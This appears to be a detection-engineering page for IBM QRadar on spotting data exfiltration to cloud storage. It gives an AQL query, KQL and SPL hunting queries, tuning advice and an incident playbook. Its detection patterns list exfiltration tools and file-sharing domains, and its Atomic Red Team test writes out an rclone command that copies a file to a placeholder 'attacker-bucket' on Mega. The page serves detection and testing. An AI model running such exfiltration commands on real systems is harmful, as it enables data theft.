THREAT-CloudStorage-DataExfil IBM QRadar · QRadar

Detect Data Exfiltration via Cloud Storage Services in IBM QRadar

Exfiltration of corporate data to attacker-controlled cloud storage is a dominant technique in double-extortion ransomware campaigns and espionage operations. Adversaries use legitimate cloud storage services (Mega, Dropbox, OneDrive, Box, Google Drive, rclone, AzCopy, ShareFile) to blend exfiltration traffic with normal business activity, bypassing egress monitoring that blocks unknown C2 IPs. Scattered Spider used Mega for SMB data exfiltration before ransomware deployment in 2024-2025. Akira and Black Basta affiliates use rclone with SFTP/cloud backends. Lazarus Group favors Dropbox and Google Drive. Key indicators: rclone.exe or azcopy.exe execution with external cloud endpoints, large outbound data transfers to cloud storage IPs, WinSCP or FileZilla used for bulk data staging, and PowerShell Invoke-WebRequest with cloud storage URLs. Detection opportunity exists in the staging phase (file collection before transfer) and the transfer phase (network and process telemetry).

MITRE ATT&CK

Tactic
Exfiltration

QRadar Detection Query

IBM QRadar (QRadar)
sql 
SELECT
    DATEFORMAT(starttime, 'YYYY-MM-dd HH:mm:ss') AS EventTime,
    hostname AS Hostname,
    username AS User,
    "Process Name" AS ProcessName,
    "Command Line" AS CommandLine,
    LOGSOURCETYPENAME(logsourceid) AS LogSourceType,
    CATEGORYNAME(category) AS EventCategory,
    CASE
        WHEN LOWER("Process Name") LIKE '%rclone.exe%' THEN 85
        WHEN LOWER("Process Name") LIKE '%azcopy.exe%' THEN 80
        ELSE 70
    END AS RiskScore,
    CASE
        WHEN LOWER("Process Name") LIKE '%rclone.exe%' THEN 'Exfil_Rclone'
        WHEN LOWER("Process Name") LIKE '%azcopy.exe%' THEN 'Exfil_AzCopy'
        ELSE 'Exfil_CloudStorage'
    END AS ThreatType
FROM events
WHERE LOGSOURCETYPENAME(logsourceid) IN ('Microsoft Windows Security Event Log', 'Sysmon')
  AND (
    LOWER("Process Name") LIKE '%rclone.exe%'
    OR (
        LOWER("Process Name") LIKE '%azcopy.exe%'
        AND (
            LOWER("Command Line") LIKE '%blob.core.windows.net%'
            OR LOWER("Command Line") LIKE '%file.core.windows.net%'
            OR LOWER("Command Line") LIKE '%queue.core.windows.net%'
        )
    )
    OR (
        (
            LOWER("Process Name") LIKE '%powershell.exe%'
            OR LOWER("Process Name") LIKE '%pwsh.exe%'
            OR LOWER("Process Name") LIKE '%curl.exe%'
            OR LOWER("Process Name") LIKE '%wscript.exe%'
        )
        AND (
            LOWER("Command Line") LIKE '%mega.nz%'
            OR LOWER("Command Line") LIKE '%mega.io%'
            OR LOWER("Command Line") LIKE '%dropbox.com%'
            OR LOWER("Command Line") LIKE '%dropboxapi.com%'
            OR LOWER("Command Line") LIKE '%transfer.sh%'
            OR LOWER("Command Line") LIKE '%gofile.io%'
            OR LOWER("Command Line") LIKE '%box.com%'
            OR LOWER("Command Line") LIKE '%box.net%'
            OR LOWER("Command Line") LIKE '%drive.google.com%'
            OR LOWER("Command Line") LIKE '%onedrive.live.com%'
            OR LOWER("Command Line") LIKE '%sharefile.com%'
            OR LOWER("Command Line") LIKE '%sendspace.com%'
            OR LOWER("Command Line") LIKE '%filebin.net%'
            OR LOWER("Command Line") LIKE '%anonfiles.com%'
        )
    )
  )
  AND starttime > NOW() - 86400000
ORDER BY RiskScore DESC, starttime DESC
LIMIT 500
high severity high confidence

QRadar AQL query detecting cloud storage data exfiltration by monitoring process creation events from Windows Security Event Log and Sysmon log sources. Identifies rclone.exe execution (risk 85), AzCopy targeting external Azure storage endpoints (risk 80), and scripting engines (PowerShell, curl) referencing known cloud storage and anonymous file-sharing domains (risk 70). Requires WinCollect or a Universal DSM configured to extract the 'Process Name' and 'Command Line' custom event properties.

Data Sources

IBM QRadar SIEMMicrosoft Windows Security Event Log (via WinCollect)Sysmon Events (via WinCollect or Universal DSM)

Required Tables

events

False Positives & Tuning

  • Approved cloud migration projects: IT operations teams running rclone under authorized service accounts for scheduled data migrations — validate against open ITSM change records, whitelist the specific service account usernames in a QRadar reference set, and add a building-block exclusion rule
  • Azure CI/CD pipeline agents: AzCopy executed by Azure DevOps or Jenkins build agents for deploying artifacts to corporate-owned Azure Blob Storage — populate a QRadar reference set with authorized Azure storage account FQDNs and exclude matching Command Line values from the alert rule
  • Corporate sanctioned SaaS: employees syncing files via Dropbox Business or Box Enterprise as approved productivity tools — suppress by cross-referencing the Process Name with a QRadar reference table of approved sync client executables and alert only on volume outliers

Other platforms for THREAT-CloudStorage-DataExfil

Microsoft Sentinel (KQL) Splunk (SPL) Elastic Security (Elastic) Sumo Logic CSE (Sumo) Google Chronicle (YARA-L) CrowdStrike LogScale (LogScale) All platforms (combined) →

Testing Methodology

Validate this detection against 1 adversary technique from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1 Simulate Cloud Exfiltration via rclone to Mega

    Expected signal: Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.

Last updated: 2026-04-24 Research depth: deep
References (3)

Response Playbook

Triage

  1. If rclone is detected: rclone.exe has no legitimate end-user purpose on standard workstations. Any execution outside of an IT-documented backup process should be treated as active exfiltration.
  2. Review the rclone command line for the target remote (e.g., rclone copy C:\share remote:bucket) — this tells you what data was targeted and where it went.
  3. For AzCopy with external storage accounts: determine if the target storage account name is a corporate account or attacker-controlled. Check Azure Activity logs for recent storage account creation.
  4. Estimate data volume: check network flow logs for total bytes sent to the external destination during the alert window.
  5. Identify how rclone arrived on the system: file creation event for rclone.exe, browser download history, SMB copy from another internal host.

Containment

  1. Isolate the affected host via EDR immediately if active exfiltration is detected.
  2. Block the exfiltration destination at the firewall: rclone targets (mega.nz, etc.) or the specific Azure storage blob URL.
  3. Attempt to delete the uploaded data: if Mega or similar service was used, contact them with a law enforcement or data subject request. For attacker-controlled Azure blob storage, the data cannot be retrieved.
  4. Identify the scope of exfiltrated data: which files/directories were included in the rclone copy command? This determines GDPR/data breach notification obligations.
  5. Notify data protection officer/legal team if sensitive personal data (GDPR Article 33) or customer data was exfiltrated — breach notification obligations may apply.

Evidence Collection

  1. rclone.exe command line: target directories, remote configuration, transfer parameters
  2. Network flow logs: bytes transferred, destination IP, duration
  3. rclone config file (typically %APPDATA%\rclone\rclone.conf): contains remote credentials
  4. Sysmon Event ID 3: network connections from rclone to exfiltration endpoint
  5. File access logs: which files were accessed/read before the exfiltration

Escalation Criteria

  • !Data exfiltration confirmed (rclone executed and network transfer observed) — double-extortion ransomware scenario
  • !Sensitive data directories included in rclone copy (HR, Finance, Legal, Engineering source code)
  • !GDPR-relevant personal data (customer records, employee data) confirmed in exfiltrated scope
  • !Evidence of exfiltration followed by ransomware staging indicators on same host or other hosts

Investigation Guide

Related Techniques

T1567.002 — Exfiltration Over Web Service: Exfiltration to Cloud StorageT1048 — Exfiltration Over Alternative ProtocolT1005 — Data from Local System (collecting data before exfiltration)T1039 — Data from Network Shared Drive (staging from file servers)T1486 — Data Encrypted for Impact (ransomware following exfiltration)

Forensic Artifacts

  • >rclone.conf: attacker remote configuration with credentials and target bucket
  • >rclone.exe binary: hash for attribution, metadata for provenance
  • >Windows Prefetch: RCLONE.EXE-*.pf with execution timestamps
  • >rclone log file (if --log-file parameter was used): full transfer log
  • >Network PCAP (if available): actual file data transferred to confirm scope

Tuning Guidance

rclone.exe execution on workstations is almost never legitimate — create an alert with no threshold (any occurrence triggers). For AzCopy, build an allowlist of corporate Azure storage account names and alert on any AzCopy operations targeting accounts not in the list. For network-based detection, proxy logs are often more reliable than DNS/flow data for cloud storage domain matching. If your organisation legitimately uses Dropbox or Box for business, exclude those domains but create alerts for the specific large-transfer scenarios (>100MB/hour). Block or alert on mega.nz, gofile.io, transfer.sh, and anonfiles.com at the web proxy as these have no legitimate business use in most SMBs.

Hunting Queries

Hunt for any connections to known file hosting and exfiltration sites over the past 30 days — establish a baseline of what, if any, cloud storage connections are expected in your environment.

Hunting — KQL
kql 
DeviceNetworkEvents
| where Timestamp > ago(30d)
| where RemoteUrl has_any ("mega.nz", "mega.io", "dropbox.com", "gofile.io", "transfer.sh", "sendspace.com")
| summarize
    Hits=count(),
    TotalBytesSent=sum(SentBytes),
    Processes=make_set(InitiatingProcessFileName),
    Days=dcount(bin(Timestamp, 1d))
  by DeviceName, AccountName, RemoteUrl
| sort by TotalBytesSent desc
Hunting — SPL
spl 
index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
  (DestinationHostname="*mega.nz*" OR DestinationHostname="*dropbox.com*" OR
   DestinationHostname="*gofile.io*" OR DestinationHostname="*transfer.sh*")
| stats count AS Conns, sum(DestinationIp) AS IPs BY host, User, Image, DestinationHostname
| sort - Conns

Atomic Red Team Tests

Test 1 Simulate Cloud Exfiltration via rclone to Mega
windows

Uses rclone to copy test files to a Mega cloud storage account, simulating the exfiltration technique used by Akira and Black Basta ransomware operators. Test files should be non-sensitive dummy data.

Command

powershell 
echo 'Test exfiltration data' > C:\Temp\exfil_test.txt && rclone.exe copy C:\Temp\exfil_test.txt mega:attacker-bucket --config C:\Temp\rclone_test.conf

Cleanup

powershell 
Remove-Item C:\Temp\exfil_test.txt, C:\Temp\rclone_test.conf -Force -ErrorAction SilentlyContinue

Expected Telemetry

Sysmon Event ID 1: rclone.exe with copy command targeting mega remote. Sysmon Event ID 3: network connection to mega.co.nz or api.mega.co.nz.

Expected Detection

Alert fires on rclone.exe execution (RiskScore=85) and network connection to mega.nz. Both indicators trigger simultaneously.

Related Detections

Tactic Hub

TA0010 Exfiltration

Detection Variants (2)

Different telemetry and tradecraft for the same technique — pick the one that matches the data you collect.

Parent Technique

T1567.002 Exfiltration to Cloud Storage

Related Techniques

T1567.002 Exfiltration to Cloud Storage T1048 Exfiltration Over Alternative Protocol T1005 Data from Local System T1039 Data from Network Shared Drive T1486 Data Encrypted for Impact

Same Tactic: Exfiltration

Popular Detections